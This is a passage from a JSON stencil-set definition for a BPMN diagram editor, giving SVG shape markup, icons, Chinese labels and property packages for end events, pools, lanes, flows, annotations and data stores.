oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <oryx:docker oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" />\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"14\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"3\\\"/>\\n    \\n    <path\\n         fill=\\\"#585858\\\"\\n         stroke=\\\"#585858\\\"\\n         style=\\\"stroke-width:1.5;stroke-linecap:butt;stroke-linejoin:miter;stroke-miterlimit:10\\\"\\n         d=\\\"M 22.820839,11.171502 L 19.36734,24.58992 L 13.54138,14.281819 L 9.3386512,20.071607 L 13.048949,6.8323057 L 18.996148,16.132659 L 22.820839,11.171502 z\\\"\\n         id=\\\"errorPolygon\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"32\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"endevent/error.png\",\n    \"groups\" : [ \"\\u7ed3\\u675f\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"errorrefpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"EndEventsMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EndCancelEvent\",\n    \"title\" : \"\\u7ed3\\u675f\\u540e\\u53d6\\u6d88\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u7ed3\\u675f\\u540e\\u53d6\\u6d88\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"14\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"3\\\"/>\\n    \\n    <path id=\\\"path1\\\" d=\\\"M 9 9 L 23 23 M 9 23 L 23 9\\\" fill=\\\"none\\\" stroke=\\\"#585858\\\" stroke-width=\\\"5\\\" />\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"32\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"endevent/cancel.png\",\n    \"groups\" : [ \"\\u7ed3\\u675f\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"EndEventsMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"EndTerminateEvent\",\n    \"title\" : \"\\u7ed3\\u675f\\u7ec8\\u6b62\\u4e8b\\u4ef6\",\n    \"description\" : \"\\u7ed3\\u675f\\u7ec8\\u6b62\\u4e8b\\u4ef6\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   width=\\\"40\\\"\\n   height=\\\"40\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"16\\\" oryx:cy=\\\"16\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"fill\\\">\\n    <circle id=\\\"bg_frame\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"14\\\" stroke=\\\"#585858\\\" fill=\\\"#ffffff\\\" stroke-width=\\\"3\\\"/>\\n    \\n    <circle id=\\\"circle1\\\" cx=\\\"16\\\" cy=\\\"16\\\" r=\\\"9\\\" stroke=\\\"#585858\\\" fill=\\\"#585858\\\" stroke-width=\\\"1\\\"/>\\n\\t<text font-size=\\\"11\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\tx=\\\"16\\\" y=\\\"32\\\" \\n\\t\\toryx:align=\\\"top center\\\" \\n\\t\\tstroke=\\\"#373e48\\\"\\n\\t></text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"endevent/terminate.png\",\n    \"groups\" : [ \"\\u7ed3\\u675f\\u4e8b\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"executionlistenerspackage\", \"terminateAllpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"EndEventsMorph\", \"sequence_end\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"Pool\",\n    \"title\" : \"\\u6d41\\u7a0b\\u6c60\",\n    \"description\" : \"\\u6d41\\u7a0b\\u5b9a\\u4e49\\u6c60\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"600\\\"\\n   height=\\\"250\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"0\\\" oryx:cy=\\\"124\\\" oryx:anchors=\\\"left\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"299\\\" oryx:cy=\\\"249\\\" oryx:anchors=\\\"bottom\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"599\\\" oryx:cy=\\\"124\\\" oryx:anchors=\\\"right\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"299\\\" oryx:cy=\\\"0\\\" oryx:anchors=\\\"top\\\" />\\n  \\t<oryx:magnet oryx:cx=\\\"299\\\" oryx:cy=\\\"124\\\" oryx:default=\\\"yes\\\" />\\n  </oryx:magnets>\\n  <g pointer-events=\\\"none\\\" >\\n    <defs>\\n\\t\\t<radialGradient id=\\\"background\\\" cx=\\\"0%\\\" cy=\\\"10%\\\" r=\\\"100%\\\" fx=\\\"20%\\\" fy=\\\"10%\\\">\\n\\t\\t\\t<stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/>\\n\\t\\t\\t<stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/>\\n\\t\\t</radialGradient>\\n\\t</defs>\\n\\t  \\t\\n  \\t<rect\\n  \\t\\tid=\\\"border\\\"\\n  \\t\\tclass=\\\"stripable-element-force\\\"\\n  \\t\\toryx:resize=\\\"vertical horizontal\\\"\\n  \\t\\tx=\\\"0\\\"\\n  \\t\\ty=\\\"0\\\"\\n  \\t\\twidth=\\\"600\\\"\\n  \\t\\theight=\\\"250\\\"\\n  \\t\\tfill=\\\"none\\\"\\n  \\t\\tstroke-width=\\\"9\\\"\\n  \\t\\tstroke=\\\"none\\\"\\n  \\t\\tvisibility=\\\"visible\\\"\\n  \\t\\tpointer-events=\\\"stroke\\\"\\n  \\t/>\\n    <rect\\n    \\tid=\\\"c\\\"\\n    \\toryx:resize=\\\"vertical horizontal\\\"\\n    \\tx=\\\"0\\\"\\n    \\ty=\\\"0\\\"\\n    \\twidth=\\\"600\\\" \\n    \\theight=\\\"250\\\" \\n    \\tstroke=\\\"black\\\" \\n    \\tfill=\\\"url(#background) white\\\"\\n    \\tfill-opacity=\\\"0.3\\\" \\n    />\\n    \\n\\t<rect \\n\\t\\tid=\\\"caption\\\"\\n\\t\\toryx:anchors=\\\"left top bottom\\\"\\n\\t\\tx=\\\"0\\\"\\n\\t\\ty=\\\"0\\\"\\n\\t\\twidth=\\\"30\\\"\\n\\t\\theight=\\\"250\\\"\\n\\t\\tstroke=\\\"black\\\"\\n\\t\\tstroke-width=\\\"1\\\"\\n\\t\\tfill=\\\"url(#background) white\\\"\\n\\t\\tpointer-events=\\\"all\\\"\\n\\t/>\\n\\t\\n\\t<rect \\n\\t\\tid=\\\"captionDisableAntialiasing\\\"\\n\\t\\toryx:anchors=\\\"left top bottom\\\"\\n\\t\\tx=\\\"0\\\"\\n\\t\\ty=\\\"0\\\"\\n\\t\\twidth=\\\"30\\\"\\n\\t\\theight=\\\"250\\\"\\n\\t\\tstroke=\\\"black\\\"\\n\\t\\tstroke-width=\\\"1\\\"\\n\\t\\tfill=\\\"url(#background) white\\\"\\n\\t\\tpointer-events=\\\"all\\\"\\n\\t/>\\n\\t\\n    <text x=\\\"13\\\" y=\\\"125\\\" font-size=\\\"12\\\" id=\\\"text_name\\\" oryx:fittoelem=\\\"caption\\\" oryx:align=\\\"middle center\\\" oryx:anchors=\\\"left\\\" oryx:rotate=\\\"270\\\" fill=\\\"black\\\" stroke=\\\"black\\\"></text>\\n    \\n  </g>\\n</svg>\",\n    \"icon\" : \"swimlane/pool.png\",\n    \"groups\" : [ \"泳道\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.pool\"\n    } ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"process_idpackage\", \"isexecutablepackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"canContainArtifacts\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"Lane\",\n    \"title\" : \"通道\",\n    \"description\" : \"建立流程定义的通道\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"600\\\"\\n   height=\\\"250\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <g pointer-events=\\\"none\\\" >\\n  \\n     <defs>\\n\\t\\t<radialGradient id=\\\"background\\\" cx=\\\"0%\\\" cy=\\\"10%\\\" r=\\\"200%\\\" fx=\\\"20%\\\" fy=\\\"10%\\\">\\n\\t\\t\\t<stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"/>\\n\\t\\t\\t<stop id=\\\"fill_el\\\" offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"0\\\"/>\\n\\t\\t</radialGradient>\\n\\t</defs>\\n\\t\\n  \\t<rect id=\\\"border_invisible\\\" class=\\\"stripable-element-force\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"600\\\" height=\\\"250\\\" fill=\\\"none\\\" stroke-width=\\\"10\\\" stroke=\\\"white\\\" visibility=\\\"hidden\\\" pointer-events=\\\"stroke\\\"/>\\t\\t\\n\\t<rect id=\\\"border\\\" oryx:resize=\\\"vertical horizontal\\\" x=\\\"0\\\" y=\\\"0\\\" width=\\\"600\\\" height=\\\"250\\\" stroke=\\\"black\\\" stroke-width=\\\"1\\\" fill=\\\"url(#background) white\\\" pointer-events=\\\"none\\\" />\\n\\t\\n\\t\\n\\t<rect \\n\\t\\tid=\\\"caption\\\"\\n\\t\\toryx:anchors=\\\"left top bottom\\\"\\n\\t\\tx=\\\"0\\\"\\n\\t\\ty=\\\"1\\\"\\n\\t\\twidth=\\\"30\\\"\\n\\t\\theight=\\\"248\\\"\\n\\t\\tstroke=\\\"black\\\"\\n\\t\\tstroke-width=\\\"0\\\"\\n\\t\\tfill=\\\"white\\\"\\n\\t\\tvisibility=\\\"hidden\\\"\\n\\t\\tclass=\\\"stripable-element-force\\\"\\n\\t\\tpointer-events=\\\"all\\\"\\n\\t/>\\n\\t\\n\\t<path\\n\\t\\tstroke=\\\"black\\\"\\n\\t\\tstroke-width=\\\"1\\\"\\n\\t\\tfill=\\\"none\\\"\\n\\t\\td=\\\"M 0,0 L 0,250\\\"\\n        oryx:anchors=\\\"left top bottom\\\"\\n        id=\\\"captionDisableAntialiasing\\\"\\n    />\\n\\t\\n\\t<!--rect \\n\\t\\tid=\\\"captionDisableAntialiasing\\\"\\n\\t\\toryx:anchors=\\\"left top bottom\\\"\\n\\t\\tx=\\\"0\\\"\\n\\t\\ty=\\\"0\\\"\\n\\t\\twidth=\\\"30\\\"\\n\\t\\theight=\\\"250\\\"\\n\\t\\tstroke=\\\"black\\\"\\n\\t\\tstroke-width=\\\"1\\\"\\n\\t\\tfill=\\\"url(#background) white\\\"\\n\\t/-->\\n\\t\\n    <text \\n\\t\\tx=\\\"13\\\"\\n\\t\\ty=\\\"125\\\"\\n\\t\\toryx:rotate=\\\"270\\\" \\n\\t\\tfont-size=\\\"12\\\" \\n\\t\\tid=\\\"text_name\\\" \\n\\t\\toryx:align=\\\"middle center\\\" \\n\\t\\toryx:anchors=\\\"left\\\"\\n\\t\\toryx:fittoelem=\\\"caption\\\"\\n\\t\\tfill=\\\"black\\\" \\n\\t\\tstroke=\\\"black\\\">\\n\\t</text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"swimlane/lane.png\",\n    \"groups\" : [ \"泳道\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"PoolChild\", \"canContainArtifacts\", \"all\" ]\n  }, {\n    \"type\" : \"edge\",\n    \"id\" : \"SequenceFlow\",\n    \"title\" : \"\\u987a\\u5e8f\\u6d41\",\n    \"description\" : \"\\u987a\\u5e8f\\u6d41\\u5b9a\\u4e49\\u6d3b\\u52a8\\u7684\\u6267\\u884c\\u987a\\u5e8f.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\r\\n<svg\\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n\\tversion=\\\"1.0\\\"\\r\\n\\toryx:edge=\\\"edge\\\" >\\r\\n\\t<defs>\\r\\n\\t  \\t<marker id=\\\"start\\\" refX=\\\"1\\\" refY=\\\"5\\\" markerUnits=\\\"userSpaceOnUse\\\" markerWidth=\\\"17\\\" markerHeight=\\\"11\\\" orient=\\\"auto\\\">\\r\\n\\t  \\t\\t<!-- <path id=\\\"conditional\\\"   d=\\\"M 0 6 L 8 1 L 15 5 L 8 9 L 1 5\\\" fill=\\\"white\\\" stroke=\\\"black\\\" stroke-width=\\\"1\\\" /> -->\\r\\n\\t\\t\\t<path id=\\\"default\\\" d=\\\"M 5 0 L 11 10\\\" fill=\\\"white\\\" stroke=\\\"#585858\\\" stroke-width=\\\"1\\\" />\\r\\n\\t  \\t</marker>\\r\\n\\t  \\t<marker id=\\\"end\\\" refX=\\\"15\\\" refY=\\\"6\\\" markerUnits=\\\"userSpaceOnUse\\\" markerWidth=\\\"15\\\" markerHeight=\\\"12\\\" orient=\\\"auto\\\">\\r\\n\\t  \\t\\t<path id=\\\"arrowhead\\\" d=\\\"M 0 1 L 15 6 L 0 11z\\\" fill=\\\"#585858\\\" stroke=\\\"#585858\\\" stroke-linejoin=\\\"round\\\" stroke-width=\\\"2\\\" />\\r\\n\\t  \\t</marker>\\r\\n\\t</defs>\\r\\n\\t<g id=\\\"edge\\\">\\r\\n\\t\\t<path id=\\\"bg_frame\\\" d=\\\"M10 50 L210 50\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"2\\\" stroke-linecap=\\\"round\\\" stroke-linejoin=\\\"round\\\" marker-start=\\\"url(#start)\\\" marker-end=\\\"url(#end)\\\" />\\r\\n\\t\\t<text id=\\\"text_name\\\" x=\\\"0\\\" y=\\\"0\\\" oryx:edgePosition=\\\"startTop\\\"/>\\r\\n\\t</g>\\r\\n</svg>\",\n    \"icon\" : \"connector/sequenceflow.png\",\n    \"groups\" : [ \"\\u8fde\\u63a5\\u5bf9\\u8c61\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.sequenceflow\"\n    } ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"conditionsequenceflowpackage\", \"executionlistenerspackage\", \"defaultflowpackage\", \"skipexpressionpackage\",\"sequenceflowtextxpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ConnectingObjectsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"edge\",\n    \"id\" : \"MessageFlow\",\n    \"title\" : \"\\u6d88\\u606f\\u6d41\",\n    \"description\" : \"\\u8fde\\u63a5\\u4e0d\\u540c\\u6d41\\u7a0b\\u6c60\\u7684\\u6d88\\u606f\\u6d41.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\r\\n<svg\\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n\\tversion=\\\"1.0\\\"\\r\\n\\toryx:edge=\\\"edge\\\" >\\r\\n\\t<defs>\\r\\n\\t\\t<marker id=\\\"start\\\" oryx:optional=\\\"yes\\\" oryx:enabled=\\\"yes\\\" refX=\\\"5\\\" refY=\\\"5\\\" markerUnits=\\\"userSpaceOnUse\\\" markerWidth=\\\"10\\\" markerHeight=\\\"10\\\" orient=\\\"auto\\\">\\r\\n\\t  \\t\\t<!-- <path d=\\\"M 10 10 L 0 5 L 10 0\\\" fill=\\\"none\\\" stroke=\\\"#585858\\\" /> -->\\r\\n\\t  \\t\\t<circle id=\\\"arrowhead\\\" cx=\\\"5\\\" cy=\\\"5\\\" r=\\\"5\\\" fill=\\\"white\\\" stroke=\\\"black\\\" />\\r\\n\\t  \\t</marker>\\r\\n\\r\\n\\t  \\t<marker id=\\\"end\\\" refX=\\\"10\\\" refY=\\\"5\\\" markerUnits=\\\"userSpaceOnUse\\\" markerWidth=\\\"10\\\" markerHeight=\\\"10\\\" orient=\\\"auto\\\">\\r\\n\\t  \\t\\t<path id=\\\"arrowhead2\\\" d=\\\"M 0 0 L 10 5 L 0 10 L 0 0\\\" fill=\\\"white\\\" stroke=\\\"#585858\\\" />\\r\\n\\t  \\t</marker>\\r\\n\\t</defs>\\r\\n\\t<g id=\\\"edge\\\">\\r\\n\\t    <path id=\\\"bg_frame\\\" d=\\\"M10 50 L210 50\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"2\\\" stroke-dasharray=\\\"3, 4\\\" marker-start=\\\"url(#start)\\\" marker-end=\\\"url(#end)\\\" />\\r\\n\\t\\t<text id=\\\"text_name\\\" x=\\\"0\\\" y=\\\"0\\\" oryx:edgePosition=\\\"midTop\\\"/>\\r\\n\\t</g>\\r\\n</svg>\",\n    \"icon\" : \"connector/messageflow.png\",\n    \"groups\" : [ \"\\u8fde\\u63a5\\u5bf9\\u8c61\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.sequenceflow\"\n    } ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ConnectingObjectsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"edge\",\n    \"id\" : \"Association\",\n    \"title\" : \"\\u8054\\u7cfb\",\n    \"description\" : \"\\u8054\\u7cfb\\u6587\\u672c\\u6ce8\\u91ca\\u4e0e\\u5bf9\\u8c61.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\r\\n<svg\\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n\\tversion=\\\"1.0\\\"\\r\\n\\toryx:edge=\\\"edge\\\" >\\r\\n\\t<g id=\\\"edge\\\">\\r\\n\\t    <path id=\\\"bg_frame\\\" d=\\\"M10 50 L210 50\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"2\\\" stroke-dasharray=\\\"3, 4\\\" />\\r\\n\\t\\t<text id=\\\"name\\\" x=\\\"0\\\" y=\\\"0\\\" oryx:edgePosition=\\\"midTop\\\" oryx:offsetTop=\\\"6\\\" style=\\\"font-size:9px;\\\"/>\\r\\n\\t</g>\\r\\n</svg>\",\n    \"icon\" : \"connector/association.undirected.png\",\n    \"groups\" : [ \"\\u8fde\\u63a5\\u5bf9\\u8c61\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.sequenceflow\"\n    } ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ConnectingObjectsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"edge\",\n    \"id\" : \"DataAssociation\",\n    \"title\" : \"\\u6570\\u636e\\u8054\\u7cfb\",\n    \"description\" : \"\\u8054\\u7cfb\\u5e26\\u6d3b\\u52a8\\u7684\\u5bf9\\u8c61.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\r\\n<svg\\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n\\tversion=\\\"1.0\\\"\\r\\n\\toryx:edge=\\\"edge\\\" >\\r\\n\\t<defs>\\r\\n\\t  \\t<marker id=\\\"end\\\" refX=\\\"10\\\" refY=\\\"5\\\" markerUnits=\\\"userSpaceOnUse\\\" markerWidth=\\\"10\\\" markerHeight=\\\"10\\\" orient=\\\"auto\\\">\\r\\n\\t  \\t\\t<path id=\\\"arrowhead\\\" d=\\\"M 0 0 L 10 5 L 0 10\\\" fill=\\\"none\\\" stroke=\\\"#585858\\\" />\\r\\n\\t  \\t</marker>\\r\\n\\t</defs>\\r\\n\\t<g id=\\\"edge\\\">\\r\\n\\t    <path id=\\\"bg_frame\\\" d=\\\"M10 50 L210 50\\\" stroke=\\\"#585858\\\" fill=\\\"none\\\" stroke-width=\\\"2\\\" stroke-dasharray=\\\"3, 4\\\" marker-end=\\\"url(#end)\\\" />\\r\\n\\t\\t<text id=\\\"name\\\" x=\\\"0\\\" y=\\\"0\\\" oryx:edgePosition=\\\"midTop\\\" oryx:offsetTop=\\\"6\\\" style=\\\"font-size:9px;\\\"/>\\r\\n\\t</g>\\r\\n</svg>\",\n    \"icon\" : \"connector/association.unidirectional.png\",\n    \"groups\" : [ \"\\u8fde\\u63a5\\u5bf9\\u8c61\" ],\n    \"layout\" : [ {\n      \"type\" : \"layout.bpmn2_0.sequenceflow\"\n    } ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"ConnectingObjectsMorph\", \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"TextAnnotation\",\n    \"title\" : \"\\u6587\\u672c\\u6ce8\\u91ca\",\n    \"description\" : \"\\u8bf4\\u660e\\u6587\\u5b57\\u6807\\u6ce8\\u5143\\u7d20.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\" standalone=\\\"no\\\"?>\\n<svg\\n   xmlns=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\n   xmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\n   xmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\n   width=\\\"102\\\"\\n   height=\\\"51\\\"\\n   version=\\\"1.0\\\">\\n  <defs></defs>\\n  <oryx:magnets>\\n  \\t<oryx:magnet oryx:cx=\\\"2\\\" oryx:cy=\\\"25\\\" oryx:anchors=\\\"left\\\" oryx:default=\\\"yes\\\"/>\\n  </oryx:magnets>\\n  <g pointer-events=\\\"all\\\" oryx:minimumSize=\\\"10 20\\\" oryx:maximumSize=\\\"\\\" >\\n  <rect \\n\\tid=\\\"textannotationrect\\\"\\n\\toryx:resize=\\\"vertical horizontal\\\"\\n\\tx=\\\"1\\\" \\n\\ty=\\\"1\\\"\\n\\twidth=\\\"100\\\"\\n\\theight=\\\"50\\\"\\n\\tstroke=\\\"none\\\"\\n\\tfill=\\\"none\\\" />\\n  <path \\n  \\tid = \\\"frame\\\"\\n\\td=\\\"M20,1 L1,1 L1,50 L20,50\\\" \\n\\toryx:anchors=\\\"top bottom left\\\" \\n\\tstroke=\\\"#585858\\\" \\n\\tfill=\\\"none\\\" \\n\\tstroke-width=\\\"1\\\" />\\n    \\n    <text \\n\\t\\tfont-size=\\\"12\\\" \\n\\t\\tid=\\\"text\\\" \\n\\t\\tx=\\\"5\\\" \\n\\t\\ty=\\\"25\\\" \\n\\t\\toryx:align=\\\"middle left\\\"\\n\\t\\toryx:fittoelem=\\\"textannotationrect\\\"\\n\\t\\toryx:anchors=\\\"left\\\"\\n\\t\\tstroke=\\\"#373e48\\\">\\n\\t</text>\\n  </g>\\n</svg>\",\n    \"icon\" : \"artifact/text.annotation.png\",\n    \"groups\" : [ \"\\u6784\\u4ef6\" ],\n    \"propertyPackages\" : [ \"overrideidpackage\", \"namepackage\", \"documentationpackage\", \"textpackage\" ],\n    \"hiddenPropertyPackages\" : [ ],\n    \"roles\" : [ \"all\" ]\n  }, {\n    \"type\" : \"node\",\n    \"id\" : \"DataStore\",\n    \"title\" : \"\\u6570\\u636e\\u5b58\\u50a8\",\n    \"description\" : \"\\u6570\\u636e\\u5b58\\u50a8\\u7684\\u5f15\\u7528.\",\n    \"view\" : \"<?xml version=\\\"1.0\\\" encoding=\\\"utf-8\\\" standalone=\\\"no\\\" ?>\\r\\n<svg \\r\\n\\txmlns=\\\"http://www.w3.org/2000/svg\\\"\\r\\n\\txmlns:svg=\\\"http://www.w3.org/2000/svg\\\"\\r\\n   \\txmlns:oryx=\\\"http://www.b3mn.org/oryx\\\"\\r\\n   \\txmlns:xlink=\\\"http://www.w3.org/1999/xlink\\\"\\r\\n\\t\\r\\n\\twidth=\\\"63.001px\\\" \\r\\n\\theight=\\\"61.173px\\\"\\r\\n\\tversion=\\\"1.0\\\">\\r\\n\\t<defs></defs>\\r\\n\\t<oryx:magnets>\\r\\n\\t\\t<oryx:magnet oryx:cx=\\\"0\\\" oryx:cy=\\\"30.5865\\\" oryx:anchors=\\\"left\\\" />\\r\\n\\t\\t<oryx:magnet oryx:cx=\\\"31.5005\\\" oryx:cy=\\\"61.173\\\" oryx:anchors=\\\"bottom\\\" />\\r\\n\\t\\t<oryx:magnet oryx:cx=\\\"63.001\\\" oryx:cy=\\\"30.5865\\\" oryx:anchors=\\\"right\\\" />\\r\\n\\t\\t<oryx:magnet oryx:cx=\\\"31.5005\\\" oryx:cy=\\\"0\\\" oryx:anchors=\\\"top\\\" />\\r\\n\\t\\t<oryx:magnet oryx:cx=\\\"31.5005\\\" oryx:cy=\\\"30.5865\\\" oryx:default=\\\"yes\\\" />\\r\\n\\t</oryx:magnets>\\r\\n\\t\\r\\n\\t<g>\\r\\n\\t\\t<defs>\\r\\n\\t\\t\\t<radialGradient id=\\\"background\\\" cx=\\\"30%\\\" cy=\\\"30%\\\" r=\\\"50%\\\" fx=\\\"0%\\\" fy=\\\"0%\\\">\\r\\n\\t\\t\\t\\t<stop offset=\\\"0%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\"></stop>\\r\\n\\t\\t\\t\\t<stop offset=\\\"100%\\\" stop-color=\\\"#ffffff\\\" stop-opacity=\\\"1\\\" id=\\\"fill_el\\\"></stop>\\r\\n\\t\\t\\t</radialGradient>\\r\\n\\t\\t</defs>\\r\\n\\t\\t\\r\\n\\t\\t<path id=\\\"bg_frame\\\" fill=\\\"url(#background) #ffffff\\\" stroke=\\\"#000000\\\" d=\\\"M31.634,0.662c20.013,0,31.292,3.05,31.292,5.729c0,2.678,0,45.096,0,48.244\\r\\n\\t\\t\\tc0,3.148-16.42,6.2-31.388,6.2c-14.968,0-30.613-2.955-30.613-6.298c0-3.342,0-45.728,0-48.05\\r\\n\\t\\t\\tC0.925,4.165,11.622,0.662,31.634,0.662z\\\"/>\\r\\n\\t\\t<path id=\\\"bg_frame2\\\" fill=\\\"none\\\" stroke=\\\"#000000\\\" 